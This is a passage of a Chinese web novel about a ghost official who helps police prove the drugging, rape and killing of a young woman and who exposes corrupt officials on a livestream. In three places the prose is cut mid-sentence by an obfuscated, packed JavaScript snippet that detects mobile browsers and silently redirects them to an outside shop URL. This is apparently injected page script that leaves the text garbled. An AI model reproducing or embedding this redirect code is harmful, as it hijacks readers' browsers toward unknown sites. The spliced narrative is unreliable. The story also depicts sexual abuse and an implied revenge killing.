她以为自己一回来就会被抓走。 但周围的鬼兵鬼差忙得脚不沾地,根本没人多看她一眼。有个鬼差甚至从她身边跑过时,顺手推了她一把:“别挡路!回枉死城去!” 就在这时,一只手拉住了她的手腕。 李昭仪猛地回头,看见吴暮雨不知何时出现在身边。 “跟我来。”吴暮雨低声说,拉着她逆着鬼潮,朝相对安静的方向走去。 两人穿过拥挤的鬼群,来到枉死城边缘的一片荒地区。这里鬼魂稀少,只有几个看起来死了很久的老鬼蹲在路边,眼神空洞地望着往来鬼潮。 “这里暂时安全。”吴暮雨松开手,看向李昭仪,“你……没事吧?” 李昭仪摇头,又点头,最后哑声说:“林游神说……她会帮我。” “她会的。”吴暮雨语气肯定,“虽然她上任没多久……但她答应的事,一定会做到。” “你们为什么要帮我?”李昭仪突然问。 吴暮雨沉默了一会儿。 “因为几天前,我冒死逃出去的时候,也像你现在这样,”她缓缓道,“……是林游神帮了我一把。” 她转头看向李昭仪,眼中的怨气平静流转:“她让我知道,有些公道,不一定非要自己沾满鲜血才能讨回,我也不是一个人孤军奋战。” 李昭仪低下头,看着自己半透明的手。 这具身体,或许承载了三年无法言说的噩梦,最后在不明不白中停止呼吸。 恨吗? 恨得想撕裂一切。 但林正文抓住她胳膊时说的那句话,像一颗钉子,在她心里落下抹不去的痕迹。 “我相信她一次。”李昭仪终于开口,声音很轻,“但如果她骗我……” “她会的。”吴暮雨拉起她的手,“走吧。” 两个女孩手拉着手,走向那座巨大的灰色城池。 她们身后,鬼门关轰然闭合。等再次开启,又是下一年了。 林正文看着缓缓升起的太阳,伸了个懒腰,“天亮了,他们也该给受害人一个交代了。” 21. 第 21 章 省公安厅的会议室里,晨光透过百叶窗在长桌上切出明暗交替的条纹。 会议桌的主位空着——往日里这种规模的会议,那是厅长林祺瑞的位置。 但她此刻坐在主位右手边第一个座位,丈夫郑觉凯挨着她。两人坐姿端正,脸上看不出情绪,只是眼底都有着掩饰不住的疲惫。 会议是副厅长温长海召集的,也算是汇报和总结。 中元节一夜动荡,全省警力通宵未眠,一早还要整理完汇报材料,才能轮流休息。 各支队负责人就不一样了,下面的人能放假,他们却不行。在座的每个人都带着满眼血丝,强撑着眼皮坐在这开会。 温长海扫视全场,目光在林祺瑞身上停顿片刻。 “林厅,今天这个会,您看是不是……” 他做了个请的手势,意思很明确——请林祺瑞主持。 会议室里安静了一瞬。所有人都看向那位女厅长。 她因亲属关系被“建议回避”中元节应急处置工作,此刻被请回来,态度微妙。 林祺瑞抬手,语气平静却不容置疑:“温厅主持吧,我旁听。” 温长海点头,不再推让。 他快速总结了昨夜几个关键数据: 全省报警三百余起,一半都是“灵异”案件,确认有实体伤害的十七起。最严重的锦绣家园案中的女租客,声带受损,至今无法正常说话。 “目前最棘手的,是李昭仪案。”刑侦总队发言。 下面的人配合调出投影,死者照片出现在屏幕上——一个笑容灿烂的圆脸女孩。 “昨晚‘游神’在直播中明确指出,李昭仪死于他杀,并点名赵建斌、李昭兰夫妇。” 切换画面,出现一对年轻夫妻的证件照。 “今晨六点,民警在快捷酒店找到这两人。他们声称外出是正常的‘夫妻情趣’。对李昭仪的死,他们坚持是醉酒意外,并出示了完整的法律文件——死亡证明、非刑事案件证明,一应俱全。” 辖区所长补充:“我们搜查了他们的住所和车辆,找到了可疑药物,但李昭兰解释自己常年失眠。” “走访了李昭仪的师生、亲友,所有人都说这对夫妻对妹妹‘好得没话说’——接回家住三年,承担所有费用,丧事办得体面,还对李母孝顺有加。” “真干净。”林祺瑞忽然开口。 会议室一静。 温长海点头:“是,太干净了,简直是模范夫妻。” 他看向林祺瑞:“林厅,技术层面,这案子目前是死局。尸体火化,现场没了,证人证言对赵建斌夫妇有利。不排除是诬告,除非……” 他没说完,但所有人都明白。 李昭仪的杀伤力太大了,谁都不敢轻视。偏偏事情过去一个多月,除非有超出常规的证据来源,或是让受害者本人来提供更多的证据。 郑砚安位于靠门的末尾,开始坐立不安,忍不住低头躲避旁边人的视线。 林祺瑞和丈夫对视一眼,面色如常的淡淡开口:“我们暂时无法——” 话还没说完,会议室的门被推开,省长赵廷元走了进来。 所有人起立。 赵廷元摆摆手,直接走到林祺瑞面前:“林厅长,我今天来,主要是代表我个人,感谢林正文同志。” 林祺瑞怔住。 “昨夜全省多处异常同时爆发,警力捉襟见肘。”省长语气郑重,“但在那一个小时里至少有十处闹事点,是在我们的人赶到前,就被‘游神’镇压了,一整夜算起来还不知道有多少。” “不只是她的辖区,而是整个省范围内。”省长对林祺瑞和郑觉凯,深深鞠了一躬:“虽然正文不在了,但她依然在做正确的事。” “很遗憾,我没有办法当面道谢,只能请二位向她转达我的态度。” 这番话说完,林祺瑞的喉咙像被什么堵住了,她张了张嘴,没发出声音。 心中暗道一声:不好! 这老小子肯定早就查过正文,他这话简直是命中死穴。 正文最受不了的就是别人对她行为的认可。 他们都能想象到,如果正文此时就在现场,嘴角咧得都能上天了。 果然,这话一说完,众目睽睽之下,会议室角落那盆绿萝的叶子,突然无风自动了一下。 幅度特别巨大,让人忽视都难。 夫妻俩的表情同时凝固。 温长海敏锐地捕捉到这个细节,他眼睛一亮,侧身扬声开口: “关于李昭仪案,我们希望能得到林正文同志的协助。她在直播中能说出‘李昭仪的死不是意外’,一定掌握了我们不知道的信息。” 省长接过话:“林厅长,郑主任。眼下想突破这个案子,只能靠她了。” 所有人的目光都落在林家人身上。 林祺瑞放在桌下的手向内扣,死死攥紧。郑觉凯在桌下盖住她的手,轻拍了一下。 就在这时,绿萝又动了一下。这次更明显,一片叶子抬起来,左右摇摆——像在摇头,又像在招手。 但很快,那片叶子就肉眼可见的速度变得枯黄。 郑砚安死死盯着那片叶子,呼吸都屏住了。 现在已经不用他们三人帮林正文做决定要不要应承下来了。 负责李昭仪案子的刑侦总队亲自走到绿萝面前,表情自然的仿佛面前并不是一盆花。 他们不知道林正文是什么时候来的,总之,把所有信息都说一遍就是了。 郑砚安看了看前面的几位领导,再看向面色如常的父母,深感自己功力尚浅,还需修行。 就这样,林正文凭借操控绿萝和刑侦总队做到了对答如常,很快就把她从崔判口中得知的情况“说”了一遍。 在场的人没想到,赵建斌竟然迷J李昭仪整整三年。 当事人直到死都没发现,亲姐姐李昭兰“功不可没”。 他们夫妻特别贼,每次都借着某个由头庆祝,三人一起喝酒狂欢,就连李昭仪月考前进一名,都能成为借口。 把李昭仪“灌醉”之后,赵建斌就会偷偷进入小姨子的房间。 事后李昭兰会亲自帮妹妹清理身体,恢复原样。当晚她还会在妹妹的房间睡觉,美其名曰“担心妹妹”。 李昭仪满心信任姐姐,对一些异常也毫不怀疑,哪里知道自己是在贼窝里呆了三年。 赵建斌生怕小姨子毕业后离开他家,就和李昭兰商议,最后玩把大的。 因为李昭仪产生了抗药性,为了确保她彻夜长眠,这日李昭兰给妹妹下了双倍的药量。 夫妻俩刚把李昭仪脱光,合照留念,正准备进入正题,出事了。 李昭仪开始疯狂呕吐,还出现休克的症状。 他们这时候才开始怕了。但不是怕李昭仪出事,而是怕自己被发现。硬是在家把所有痕迹都收拾干净,衣服全部穿好,这才拨打120。 等送到医院,李昭仪已经没救了。 “畜生!”不少人都低声怒骂。 确认不是“诬告”,且知道了犯罪过程,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107420|195584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就好办了。 负责案子的警察都咬紧牙根,当场就立下军令状,承诺24小时内就让他们撂。一定给受害者一个交代! 气氛有些沉重,温长海适时转移话题。 “对了,告诉大家一个好消息,吴暮雨案的三个嫌疑人已经全数认罪。” “我们在张明家找到了那部手机,里面有偷拍多名女生的照片,还有一段视频——拍下了吴暮雨被逼迫跳楼的全过程。” 他简要说明了证据情况:“案件已移送检察院。按律,刑期应该在十年以上。” “十年?!”林正文气急败坏,一把抓碎了绿萝的叶片。 所有人见状,心头一紧,但……无奈。 绿萝的叶子一片片的变黄,好像某个人的怒气在飙升。 林正文站在旁边怒喊:“十年?!他们害死了一条人命!吴暮雨也是未成年!这判决我不认!” 林祺瑞眼皮下垂。郑觉凯轻咳一声掩饰表情。郑砚安低头,手指无意识地敲着桌面。 温长海注意到林家三人的异常,但没有点破,只是继续说:“法律的尺度如此。但李昭仪案不同——赵建斌夫妇面临的,可能是无期甚至死刑。” 绿萝安静了一瞬。 然后,叶子轻轻点了点——像是在思考。 会议在九点半结束。省长离开前再次与林祺瑞握手:“辛苦了。” 其他人加快脚步。 等会议室只剩自家人时,郑砚安快步走到绿萝前,压低声音:“正文?” 叶子动了动。 林正文正准备再传递点什么,刚一碰,面前的绿萝就“咔嚓”一下,整株干枯成渣。 会议室里安静下来,三人面面相觑。 次日上午九点,同一间会议室。 这次窗台上摆了一圈绿萝,绿油油的叶子在晨光中泛着光泽。 林祺瑞和郑觉凯还是坐在主位右侧,但今天两人的坐姿明显放松了些。郑砚安的座次从末尾挪到了中间,手里转着一支笔,眼睛时不时瞟向那些绿萝。 温长海主持会议,开门见山:“李昭仪案,突破了。” 会议室里响起一片松气的声音。 随后,所有人齐刷刷看向那排绿萝。 最靠近林祺瑞的那盆,叶子轻轻颤了颤。 省长赵廷元这时站了起来。 他走到会议室中央,对着那圈绿萝郑重地说:“林正文同志,我代表组织,也代表中元节所有被你保护过的群众,再次感谢。” “如果没有你提供的线索,李昭仪的冤情可能永远石沉大海。” “所以今天,我想正式和你商讨一下——未来,我们能否建立一种……跨界合作?” 他斟酌着用词:“阴阳两界,各有规则。但有些事情,比如李昭仪案这样的恶性犯罪,如果阳间暂时无法突破,而您又掌握了关键信息……我们是否可以建立某种沟通渠道?” 这话说得很委婉,但意思明确——希望能把林正文发展为警方的“特殊顾问”。 会议室里所有人都屏住呼吸,看向绿萝。 结果这次好几分钟都没得到回应。 “这是……”温长海皱眉。 林祺瑞忽然轻笑一声。 话音刚落,刚才,她的耳边忽然掠过一缕微风。 很轻,带着凉意,像有人对着她耳朵吹了口气。 她仿佛能看到,一个调皮的少女满脸不耐地跑过去:溜了溜了…… 想到这,林祺瑞嘴角的弧度更深了。 22. 第 22 章 “省长,您别介意。”她站起身,语气带着了然,“正文她……最不耐烦这种正式场合。生前就这样,死后也没变。” 她不知道女儿走了,还是仍在附近,只是因为省长的话为难了。 既然如此,她做母亲的也该适时出头。 林祺瑞转身,面对会议室里的同仁:“查清案子是我们的本职工作。我们不需要向她交代,需要交代的,是信任我们的人民群众。” “李昭仪案有了结果,我们都能给死者一个交代,这就够了。” 这番话既是打圆场,也是表态。 省长沉默片刻,缓缓点头:“林厅长说得对。是我们想多了。” 会议在十点结束。离开时,温长海特意走在林祺瑞身边,低声说:“林厅,以后专案组有疑难案件……可能还得麻烦您。” 这话说得含蓄,但林祺瑞听懂了。 她点头:“大家都一样,在其任谋其事。” 从那天起,林祺瑞和郑觉凯虽然名义上还是“回避”状态,但实际上已经重新回到了核心圈。 时间很快进入九月,原本林正文不发生意外,她也该是步入大学的一员。 吴暮雨案的一审判决也下来了——和之前预测的一样,王浩、张明、李强三人,逼迫吴暮雨跳楼,判为故意杀人罪,分别被判处十年至十二年有期徒刑。 判决书公布那天,网上有很多人为吴暮雨鸣不平,觉得判轻了;也有人说,法律就是这样,吴暮雨毕竟是自杀,不是他们直接动手杀的…… 三家父母却对这个判决不认可,要求上诉。 林祺瑞一家看到新闻,都没说话。 从那天起,林家三口更加低调。林祺瑞推掉了所有不必要的公开活动,郑觉凯除了上班就是回家,郑砚安连朋友聚会都少了,生怕祸从口出。 他们都了解林正文,那天在会议上,她反应那么大,绝不会就这么算了。 风暴在十月的某个清晨到来。 早上七点,市第一监狱的值班民警在巡监时发现异常——王浩趴在床上一动不动。 冲进去一看,人已经没了呼吸。 死因初步判断:心源性猝死。 紧接着,第二天下午,张明在放风时突然倒地,送到监狱医院也没抢救过来。死因同样是心源性猝死。 第三天晚上,李强在睡梦中死去。症状和前两人一模一样。 三个年轻人,一周内相继猝死,都在同一所监狱。 家属炸了锅。 三家父母冲到监狱门口拉横幅,喊冤,说儿子是被“害死的”。怀疑有人对他们动用私刑,要求彻查。 法医做了详细的尸检,结论很明确:三人内脏都有不同程度的器质性病变,符合长期不良生活习惯导致的猝死特征。没有外伤,没有中毒迹象,没有他杀证据。 监狱方的调查也显示,三人死前没有任何异常冲突,监控拍到的画面里,他们都是突然发病的。 “太巧了。”王浩的父亲在媒体前哭喊,“三个人,一周内,都猝死?这怎么可能?!” 案子最终以“意外”结案。没有证据,谁也不敢往别处想——哪怕所有人都心知肚明。 结案那天,林祺瑞特意去花市买了一盆新的绿萝,放在客厅窗台上。 绿萝长势很好,叶子绿油油的,没有变黄,也没有蔫。 夫妻俩每晚一觉到天明,起床时,脸上都难掩遗憾。 他们知道,女儿这时什么都不做,就是对他们最好的保护。 …… 就在王浩三人定案猝死的第二天,某私人会所的包间里。 四个男人围坐在茶桌旁,面前摆着上好的龙井。白雾在上方盘旋,就像一缕香。可直到放凉也没人有心情喝。 “太放肆了。”坐在主位的中年男人沉声说,“说杀就杀,还有没有规矩?” 他是省高院的领导,姓周。王浩案的一审判决,就是从他手里过的。 “周院长,现在说这些有什么用?”旁边戴眼镜的男人苦笑,“人都死了,还没证据。” 他是司法系统的,分管监狱管理。三人连续猝死,他的压力最大。 “我就是想不明白,”第三个人开口,是检察院的,“她怎么做到的?监狱里到处都是监控,她一个鬼魂,还能隔空杀人不成?” “怎么不能?她是游神。”周院长冷冷道,“地府的公务员,有点特殊手段不奇怪。” “所以才可怕。”眼镜男压低声音,“今天她能杀监狱里的犯人,明天是不是就能杀我们?” 包间里一阵沉默。 “得想办法。”周院长终于说,“不能任由她这么无法无天。” “能有什么办法?”检察院那位摇头。 “阳间动不了,那就从阴间动。”周院长眼里闪过一丝狠色,“我认识一位大师,用现在年轻人的话说,用魔法打败魔法!” 三人同时看向他。 “真的?” “试试不就知道了。”周院长掏出手机,拨了个号码,“我约他明天见。” 隔日,城北一间茶馆的雅间。 周院长遮掩了一番,这才单独见了那位“大师”。 大师六十多岁,穿着道袍,留着山羊胡,手里拿着一根拂尘,看起来仙风道骨。 “周院长放心。”听完周院长的叙述,大师捋着胡子,一脸高深,“林正文这种作为,在古代并不少见,只不过那时没有如今网络发达,这一点在某些文学作品中也能得见。” 周院长上身坐直:“那她这样做是合法的吗?” 大师摇头:“当然不,她这种行为严重搅乱阴阳秩序。待我禀明十殿阎罗,定让她下十八层地狱,受尽酷刑!” 周院长眼睛一亮:“大师真能做到?” “自然。”大师点头,但话锋一转,“不过……沟通地府,耗费极大。贫道功力尚浅,需请几位师兄一同起坛作法……他们都是得道高人,想请出山,恐怕不易。” 周院长懂了:“需要多少?” 大师伸出一根手指:“一百万。三天后开坛,保准让她永坠地狱。” 周院长犹豫了。他不是出不起这个钱,但总觉得有点悬。 “大师,您看过她的直播吗?”他试探着问。 “直播?”大师嗤笑,“那都是骗人的把戏!什么鬼魂,什么游神,不过是些江湖术士的障眼法!周院长,您可别被唬住了。” 周院长心里一沉。 如果这位大师连林正文的直播都没看过,那他所谓的“沟通地府”,恐怕…… 但他没有说破,只是点头:“好,我筹钱。三天后,等大师好消息。” 离开茶馆,周院长给另外三人打了电话,说了大师的情况。 “靠谱吗?”眼镜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112453|195584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男怀疑,“他要的钱也太多了,万一不行……” “死马当活马医吧。”周院长叹气,“那林正文在下面的人脉如何尚且不知。如果能成,日后就安心了,就算不成,也能给她个教训,警告她以后不要太招摇。” 他们推己及人,觉得周院长这话有理。大师要的金额数字不小,他们却二话不说就应了下来。 四人把钱凑够,第二天送到大师指定的地点。 大师收了钱,信誓旦旦地拍胸脯保证:“三天后,等我的消息。” …… 城隍庙后院的槐树下,茶香混着香火气,在午后的阳光里袅袅盘旋。 林正文对面是老城隍,旁边是满脸褶皱、表情慈祥的土地婆,三人面前的石桌上摆着三杯清茶。 林正文在狭窄的石凳上盘着腿,有一搭没一搭的吹着额上的碎发。 她之前就跟城隍学了不少运用鬼气的小妙招,可这一溜头发,死了也搞不定。 最后把她烦的干脆把头发都披散下来,用鬼气形成微弱的风,从正面向后吹拂,这才满意了。 三人干坐着也没什么别的话题,就聊最近发生的事。 “听说‘姐妹帮’这次又回来了?”土地婆抿了口茶,皱纹里藏着复杂的情绪。 老城隍枣红色的脸上满是无奈:“嗯,这次闹得更凶了。中元节那晚,那边怨气冲天,劈山大人带了一队鬼兵去镇压,几十里外都能听到动静。” 林正文耳朵一动:“姐妹帮?” 土地婆放下茶杯,叹了一声:“一群可怜人。” “都是二三十年前被拐到山里,被害死的女人。最早的那个死了快四十年了,最晚的……是去年。” “她们有些刚懂事就被拐了,不记得家乡亲人,也无祭享。”老城隍接话,“每年中元鬼门开,她们就聚在一起,想去找害她们的人报仇。可每次都被鬼兵压回去。” 林正文皱眉。 土地婆又叹了一声,声音中带着怜悯,“人死了,害她们的人还活着。她们怨气难消,不肯投胎,继续这么作乱下去,就怕连维持魂魄完整都做不到。” 城隍看了林正文一眼:“劈山大人还算是性情平和的,只把人抓回去,没下死手。” “明年若是换了个雷霆手段的鬼将,不知道会对她们做什么。听说有的鬼将大人极恨女鬼,撞枪口上,就是魂飞魄散。” 院子里安静下来。 槐树的影子在地上慢慢拉长。 林正文盯着茶杯里自己的倒影——半透明的,模糊的。她忽然想起李昭仪,想起吴暮雨,想起那些死了都没等到公道的女孩。 “就没有办法?”她问。 “有。”老城隍缓缓道,“重启调查,找到证据,把凶手绳之以法,或许就是唯一能帮她们的办法。” 土地却摇头:“难……” 林正文没接话。她低头,手指无意识地摩挲着石桌边缘,嘴唇紧抿。 就在这时,院门外“噔噔噔”跑进来个小身影。 是土地婆手下的山精,七八岁模样,头顶两片嫩叶,脸颊红扑扑的。 “奶奶!城隍爷爷!游神姐姐!”山精挨个叫过去,气喘吁吁,“西边老鹰山那条隧道,有辆车正在往那开!车上两个人,带了两个大黑包,里面全是钱!” 山精双手夸张地在身前画了个大圈。 林正文猛地抬头。 23. 第 23 章 “废弃隧道?”老城隍皱眉,“那条路封了十几年,就因为检测到山体不稳,有滑坡风险。” “就是就是!”山精猛点头,“我们观测到那车上有死气,特别浓!估计再过就几分钟,人就没了!” 土地婆脸色一变:“我这就上报无常,前去勾魂,免得……” 话没说完,就感觉身边吹过一股风,她扭头一看——石凳上已经空了。 林正文原先坐的位置,只留下一圈淡淡的阴气涟漪。 山精指向院门:“游神姐姐‘嗖’一下就没影了。” 土地婆和老城隍对视,同时摇头苦笑。 “这丫头……”土地婆叹气。 老鹰山废弃隧道口,“危险勿入”的牌子歪倒在杂草里。 黑色轿车颠簸着驶近,司机是个三十来岁的精瘦男人,后排是位五十来岁的老者。 如果熟人看到定能认出这人,虽然道袍换成了休闲装,山羊胡没了,人也更年轻了,毋庸置疑就是之前周院长找的“大师。 他此刻正死死抱着怀里鼓囊囊的黑包。 “快!快点儿!”大师声音发颤,不停扭头朝后看。 司机猛踩油门,一头冲进漆黑的隧道:“师父,他们会不会发现咱们跑路?” “发现个屁!”大师啐了一口,“他们以为我去‘开坛作法’!以他们的身份,难道还敢亲自盯现场?” 他顿了顿,忽然嘿嘿笑起来:“不过说真的,那个什么游神,肯定也是个骗子。一个刚成年的丫头,死了还能当公务员?编故事都不带这么编的……” 眼看汽车就要冲出隧道,两人看着前方的光亮,表情微松。 “砰——!!!” 一块脸盆大的石头从天而降,直接砸穿挡风玻璃,落在司机的手臂,接着又砸在大师的脸上。 “啊呀——!!!”大师吓得尖叫都变了调。 司机想踩刹车,却已经晚了,上方传来山崩地裂的轰鸣。山石倾泻而下,瞬间将轿车吞没。 几分钟后,两个半透明的魂魄从废墟里飘出来,一脸茫然。 大师站在原地,愣了足足五秒。 然后—— “我的钱啊——!!!”他发出撕心裂肺的哀嚎,扑向土堆想扒拉,手却直接穿了过去,“一百万!我的一百万啊!还没焐热呢!” 司机魂魄呆呆站在旁边,还没从“我死了?”的震撼中回过神来。 就在这时,他们听见一个带笑的声音—— “哟,这可真是把钱带进棺材了。” “啪、啪……”掌声有一搭没一搭的拍着。 大师和司机同时转头。 林正文飘在塌方的土堆上方,黑衣劲装,双手抱臂,戏谑地看他们。 大师的哀嚎卡在喉咙里。 他瞪大眼睛,看着林正文半透明的身体,最重要的是对方脚下离地三寸飘着。 “鬼、鬼啊——!!!”大师尖叫着往后飘,却因为不熟练,在原地打转。 林正文挑眉:“你不也是鬼吗?” 大师一愣,低头看看自己,又看看林正文,脑子终于转过弯来。 “你、你是谁?”他声音哆嗦,“无常?鬼差?” “请叫我日夜游神。”林正文飘近些,自报家门。 当听到她说自己叫“林正文”时,大师整个人怔愣了。 “扑通!” 他直接在空中做出跪下的动作:“小人错了!小人有眼不识泰山!小人就是个混饭吃的,您大人有大量,饶了我吧!” 对自己新状态掌握的不熟练,膝盖直接“陷”进土里。 林正文差点笑出声。 她绷着脸,勾魂锁一甩,缠住大师的腰把他拎到面前:“说说,怎么回事?你得罪我了吗?还有……为什么带这么多钱?做了什么亏心事?” 警察家属的直觉告诉她,这种带着现金冒险走偏僻路段的人,一般都有个别名—— 犯罪嫌疑人! “是周康!”大师竹筒倒豆子,嘴皮子快得远超活人,“省高院的周院长!还有司法局刘副局长、检察院王处长、政法委陈主任!他们四个凑了一百万,让我作法害您!” 林正文眼神冷了下来:“害我?为什么?” “我不知道……”大师哭丧着脸。 “他们愿意花一百万,让我‘沟通地府’,禀明十殿阎罗,把您打入十八层地狱,永世不得超生!这是为了先下手为强,肯定手里不干净!” 他说完,可怜巴巴地看着林正文:“可我不知道您是真神啊!我要知道,给我十个胆子也不敢……” 林正文盯着他,忽然问:“你账本呢?” 大师一愣:“什么账本?” “行骗的账本。”林正文勾魂锁紧了紧,“哪些人找你‘办事’,给了多少钱,办什么事——你这种人,肯定记着。” 大师脸更白了:“在、在车里……黑包夹层……” 林正文笑了。 那笑容让大师打了个寒颤。 …… 多日不开的游神直播间再次亮起,无数人疯狂涌入。 有了之前的经验,不用她招呼,一进来就开始打赏。 等送完钱,一看标题,简单粗暴——【车祸现场直播,附赠贪官大礼包】 看到这行字,不少立身不正的人心里咯噔一下,脸瞬间就白了。 画面里是坍塌的隧道口,黑色轿车被埋得只剩车尾。镜头一转,照到跪在地上的大师和呆站的司机。 弹幕瞬间爆炸。 林正文出现在画面中,对着镜头咧嘴一笑:“晚上好。” 她指了指大师和司机:“他们开车闯废弃隧道,遇上山体滑坡,埋里面了。如果不是我路过,恐怕十天半个月都不会有人发现。” “第二件事,”林正文笑容狡黠,拍了拍手中的账本,“这两位呢,是职业骗子,专门伪装大师……今天开直播就是想告诉有关部门。” “快来收尸吧,那车里除了账本,还有不少钱,尽快送还受害者……另外,我简单看了一下账本上的人,发现有几位挺有意思。” 她翻开账本,促狭地照着念:“省高院周康、司法局刘明、检察院王建国、政法委陈志伟,记得去警局拿钱,一百万,请了个假大师,啧!” “真是的,几十岁的人了,官还做得这么大,怎么还搞封建迷信呢?” 这话说的阴阳怪气,弹幕却瞬间炸了。 【我草?!】 【周康?!那个经常上电视的周院长?!】 【一百万收买大师?!】 【他们到底想干什么?】 林正文把账本一合,凑到镜头前冷笑:“这四个人给了骗子一百万,要他要作法在十殿阎罗那告我一状,让我不要在凡间作乱——我倒是想问问,哪点得罪你们了?” 【得罪?我看是怕了。】 【不做亏心事不怕鬼叫门!】 【啧啧啧!告状都找不到个靠谱的,让人怎么说你们。】 她转向大师:“来,说说周康的事。对着镜头说。” 大师这会儿已经破罐破摔了。反正死了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113416|195584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还怕什么? 他把自己知道的、听说的、猜到的,全倒了出来。说到激动处,还手舞足蹈,像讲评书。 富商杀妻案、强拆致死案……贪污受贿、权色交易……一桩桩,一件件。 弹幕从震惊到愤怒,最后只剩一片“严查”。 林正文等他说完,才开口:“最后说一句——我不管你是高官还是百姓,是活人还是鬼魂。犯了罪,就得伏法。” “阳间的法若管不了,还有阴间的法,十八层地狱的民间传说自己去翻翻,对号入座看看自己能中几项。” “活着,还是死了,都别想跑!”她抬手对着镜头比了个手势,“biu!” 直播黑屏前一秒,定格在她那张不正经却让人安心的脸上。 当晚,省纪委大楼灯火通明。警车带着几辆工程车往隧道方向疾驰而去。 周康在家中被带走时,手机屏幕定格在直播结束时。几分钟前,他亲眼看着大师跪在地上,把他那些事抖得干干净净。 一同被带走的,还有另外三人。 纪委大楼外,林正文看着系统里暴涨的香火,一边斟酌用处,同时分神留意里面的情况。 省纪委的审讯室。 周康坐在椅子上,四十多岁的人,一夜之间头发白了大半,额头上冒着细密的冷汗。他还想维持体面,腰板挺着,但颤抖的手指暴露了内心的忐忑。 审讯员把翻出来的账本复印件拍在他面前。 “周院长,解释一下?” 周康盯着那几张纸,喉结上下滚动。 半晌,他挤出一句话:“污蔑……这是污蔑!胡三就是个骗子,我根本不认识他。” “不认识……你知道他叫胡三?”审讯员冷冷反问,“老实交代,你为什么给他一百万。” “我……”周康语塞,脑子飞快转着,“我那是……被他骗了!他说能驱邪,能保平安,我一时糊涂……” 审讯员打断他:“你当我没看过直播吗?既然你不愿意承认,那好……你认识刘明、王建国、陈志伟吗?” 周康像被掐住脖子,声音戛然而止。 审讯员把账本复印件反扣回去,淡淡道:“你的三位‘朋友’,已经在隔壁审讯室了。他们交代的情况,跟你说的……不太一样。” 周康的脸色彻底白了。 隔壁审讯室里,刘明正激动地拍桌子。 “周康那个王八蛋!他骗我们!”刘明眼睛通红,也不知是气的还是怕的,“他说请大师作法要三百万,我们仨一人出了七十五万!结果呢?大师说只收到一百万!” 审讯员记录着:“所以周康吃了一百五十万的差价?” “何止!”王建国在另一间审讯室咬牙切齿,“他当时说得可好听,说那大师是得道高人,还要请好几位师兄弟一起做法,才能告状到阴曹地府,三百万是辛苦费。我们信了他的鬼话!” 陈志伟更直接,知道事实胜于雄辩,开口就来了个大的: “去年八月,周康找我,说有个开发商想压下一桩强拆致死案,开价五百万。我出了力,最后只分到八十万。他说剩下的要打点上面,现在想来,全进了他口袋!” 三个审讯室,三个人,争先恐后地揭发。 像一场荒诞的竞赛——谁揭发得多,谁也许就能减刑。 林正文在窗外看到这一幕,忍不住笑了。 “咦……还有新发现?” “真是够贪的,这招我绞尽脑汁也想不出来。” “吃差价吃到同伙身上?一点江湖道义都不讲……” 24. 第 24 章 林正文离开土地庙时,天已经擦黑。 她飞得又急又快,黑色的魂体在暮色里拉出一道淡淡的残影。脑子里反复回响着土地婆的话——“那群可怜人……每年中元节都要出来闹……” 是什么样的仇恨?就连生死都难以抹消。 昨晚林正文一直心里记挂这事,要不是胡三牵连出几个贪官,林正文当时就过去了。 不论是从新闻,还是从父母亲人口中,她一直都听过有拐子村这种的地方。 他们或是黑恶产业链中的一环,或是因为家里穷娶不上媳妇,就自己出去“找”。 总之,那种鬼地方,就像瘟疫一样,一个传染俩,直到整个村子都同流合污。 女性只要落到这贼窝里,堪比下了十八层地狱,再无逃脱的可能。就连警察想要打击救援,也非常困难。 林正文没想到,自己从小生活的城市周边,竟然就有个拐子村。 拐子村在西山最深的山坳里,地图上都不标名字。林正文没去过,但土地婆给她指了方向:翻过三座山头,看见一棵歪脖子老槐树,往下就是。 她一路飞一路找,飞过第一座山时,天彻底黑了。 飞过第二座山时,月亮升起来,惨白的光照在山路上,像铺了一层霜。 第三座山刚飞到一半,林正文猛地停住。 前方几公里外,本来应该袅无人烟的地方,一股浓重的死气正升腾起来——那是将死之人散出的气息,阴间的公务员隔老远就能感应到。 “不好!” 林正文魂体一颤,鬼气催到极致,整个人像箭一样射出去。 风在耳边呼啸,她脑子里只有一个念头:快点,再快点! 赶到歪脖子老槐树时,死气已经浓得化不开了。 林正文顺着目的地往下冲,看见山坳里零零散散十几户土房,最破的那户后院,有个矮棚子——说是猪圈都抬举了,几块木板搭的,顶上盖着破洞塑料布。 最触目惊心的是——棚子里躺着个人。 二十来岁的女人,瘦得只剩一把骨头,衣服破成布条,露出的皮肤上满是淤青和伤痕。她眼睛半睁着,瞳孔已经散了,但胸口还有微弱的起伏。 